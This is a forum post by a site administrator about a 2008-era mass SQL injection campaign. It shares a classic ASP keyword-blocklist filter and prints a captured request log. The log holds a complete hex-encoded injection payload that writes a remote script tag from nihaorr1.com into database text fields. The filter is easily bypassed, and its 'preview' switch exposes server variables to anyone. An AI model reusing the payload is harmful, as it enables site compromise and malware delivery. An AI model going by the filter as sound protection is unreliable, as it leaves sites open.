Hi,
The use of this script at pointing to nihaorr1.com is only the latest method of attack used by this attacker. This guy has been hacking at a clients web site for a long time and usually does so through various proxy servers. For those looking for a tool to view IIS log files, check out this program I have written http://www.alexanderhiggins.com/logfileparser.aspx
To prevent the attacks I have made done the following:
1) Open notepad and past the following code. The code will check the request for a sql injection attack, and if it finds one it sends you an email and redirects the request to an error page.
<%
dim str
dim r
dim badwords
str = request.servervariables("QUERY_STRING")
if verify(str) = false or (request.querystring("preview")="true") then
Set myMail=CreateObject("CDO.Message")
myMail.Subject="Sending email with CDO"
myMail.From="youremailaddress@yourdomain.com"
myMail.To="mailto:youremailaddress@yourdomain.com"
Dim body
for each item in request.servervariables
body = body & item & "=" & request.servervariables(item) & vbcrlf
next
'for each item in request.params
'body = body & item & "=" & request.params(item) & vbcrlf
'next
myMail.TextBody="This is a SQL Injection Hack Attempt. Heres the details. " & vbcrlf & vbcrlf & body
if request.querystring("preview")="true" then
response.write("<pre>" & myMail.textbody & "</pre>")
set myMail=nothing
else
myMail.Send
set myMail=nothing
response.redirect("urlscripterror.asp")
end if
end if
'response.write(verify(str) &"<BR>")
'response.write(str &"<BR>")
'response.write(request.servervariables.count)
'for each item in request.servervariables
'response.write(item & "=" & request.servervariables(item) & "<BR>")
'next
function verify(s)
'convert the querystring to lowercase
s = lcase(s)
' badwords - a list of disallowed keywords in the url
badwords= "select insert update delete drop -- table alter cast convert exec chr( union"
' create an array list of each back word
r = split(badwords, " ")
' loop through the bad words and return false if it is present.
for i =0 to ubound(r)
if instr(s, r(i)) > 0 then
verify = false 'instr(s, r(i))
exit function
end if
next
' If the badword was not found then set verified to = True
verify=true
end function
%>
2) Save the file as urlfilter.asp and upload it to your web site root.
3) Include the file by pasting the following codeat the very beginning of your asp pages. Note if your site uses includes you can include it in a single include that is shared by all of your pages.
<!-- #include virtual="/urlfilter.aspx" -->
From a security perspective, lock down your databases. Perhaps allow only select permissions for anonymous viewers and have a different sql login and connection string for the backend where database updates are required.
My issue with monitoring for EXEC commands is by that point the damage is already done. Further, if the hacker is skilled enough they can comprimise your entire server before you even realize they have attacked using the write sql code.
Here is the email I received when this attack happened, with certain information replaced of course.
This is a SQL Injection Hack Attempt. Heres the details.
ALL_HTTP=HTTP_CONNECTION:keep-alive
HTTP_CONTENT_LENGTH:0
HTTP_CONTENT_TYPE:text/html
HTTP_ACCEPT:text/html, */*
HTTP_HOST:www.domainname.com
HTTP_USER_AGENT:Mozilla/3.0 (compatible; Indy Library)
ALL_RAW=Connection: keep-alive
Content-Length: 0
Content-Type: text/html
Accept: text/html, */*
Host: www.domainname.com
User-Agent: Mozilla/3.0 (compatible; Indy Library)
APPL_MD_PATH=/LM/W3SVC/1206399212/Root
APPL_PHYSICAL_PATH=E:\domainname\web\
AUTH_PASSWORD=
AUTH_TYPE=
AUTH_USER=
CERT_COOKIE=
CERT_FLAGS=
CERT_ISSUER=
CERT_KEYSIZE=
CERT_SECRETKEYSIZE=
CERT_SERIALNUMBER=
CERT_SERVER_ISSUER=
CERT_SERVER_SUBJECT=
CERT_SUBJECT=
CONTENT_LENGTH=0
CONTENT_TYPE=text/html
GATEWAY_INTERFACE=CGI/1.1
HTTPS=off
HTTPS_KEYSIZE=
HTTPS_SECRETKEYSIZE=
HTTPS_SERVER_ISSUER=
HTTPS_SERVER_SUBJECT=
INSTANCE_ID=1206399212
INSTANCE_META_PATH=/LM/W3SVC/1206399212
LOCAL_ADDR=xxx.xxx.xxx.xxx
LOGON_USER=
PATH_INFO=/attackedpage.asp
PATH_TRANSLATED=E:\domainname\web\attackedpage.asp
QUERY_STRING=date=4/17/2008%2011:05:00%20AM';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
REMOTE_ADDR=219.153.46.28
REMOTE_HOST=219.153.46.28
REMOTE_USER=
REQUEST_METHOD=POST
SCRIPT_NAME=/lakewood_blueclaws_schedule.asp
SERVER_NAME=www.domainname.com
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.0
SERVER_SOFTWARE=Microsoft-IIS/6.0
URL=/attackedpage.asp
HTTP_CONNECTION=keep-alive
HTTP_CONTENT_LENGTH=0
HTTP_CONTENT_TYPE=text/html
HTTP_ACCEPT=text/html, */*
HTTP_HOST=www.domainname.com
HTTP_USER_AGENT=Mozilla/3.0 (compatible; Indy Library)
As you can see the attacker simple sent a malformed URL query, which of course is viewable in my IIS logs.